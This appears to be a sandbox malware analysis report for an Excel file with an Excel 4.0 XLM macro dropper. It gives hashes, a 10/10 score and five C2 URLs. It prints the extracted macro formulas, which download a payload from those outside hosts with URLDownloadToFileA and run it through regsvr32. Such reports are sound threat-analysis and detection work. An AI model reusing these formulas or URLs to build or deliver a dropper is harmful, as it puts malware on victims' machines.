6aad33876d8ba6c57e49ddef22d34576c270de14b3e3a4353abfdc9beb9c34ab

General

Target

6aad33876d8ba6c57e49ddef22d34576c270de14b3e3a4353abfdc9beb9c34ab
Size

69KB
Sample

241119-m6qncswbjl
MD5

d777bc5609f8a1a152583d9f8278779c
SHA1

8306020d9df452bcec1ac72e504d4254432b50a6
SHA256

6aad33876d8ba6c57e49ddef22d34576c270de14b3e3a4353abfdc9beb9c34ab
SHA512

13fb11d94bfae5753f72bcd2dce32e6fef0400c5de5f4425425dcecb978232fc1c80fbd2de24bddcebf71ab9ac471cd434e5c1e7cad085930da34c1f5d68a0bc
SSDEEP

1536:Np0b/XHTWhxndhjh/VwBpSZobSex7jB0FfuZibVyg:szWhxHjh88ZoH7juFuZiQg

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://vasilestudio.com/wp-admin/pZ1vbd5Z/

https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/

https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/

https://triclicks.net/wp-admin/bv/

https://thecanadianarab.com/wp-content/VJ/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://vasilestudio.com/wp-admin/pZ1vbd5Z/","..\aua.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://triclicks.net/wp-admin/bv/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thecanadianarab.com/wp-content/VJ/","..\aua.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aua.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://vasilestudio.com/wp-admin/pZ1vbd5Z/

xlm40.dropper

https://estesgroup.net/New-site-25062021/UkQPppHG9pLNE/

xlm40.dropper

https://robointeligentedecomentarios.com/wp-includes/YBS9a02Y68auiEdP/

xlm40.dropper

https://triclicks.net/wp-admin/bv/

xlm40.dropper

https://thecanadianarab.com/wp-content/VJ/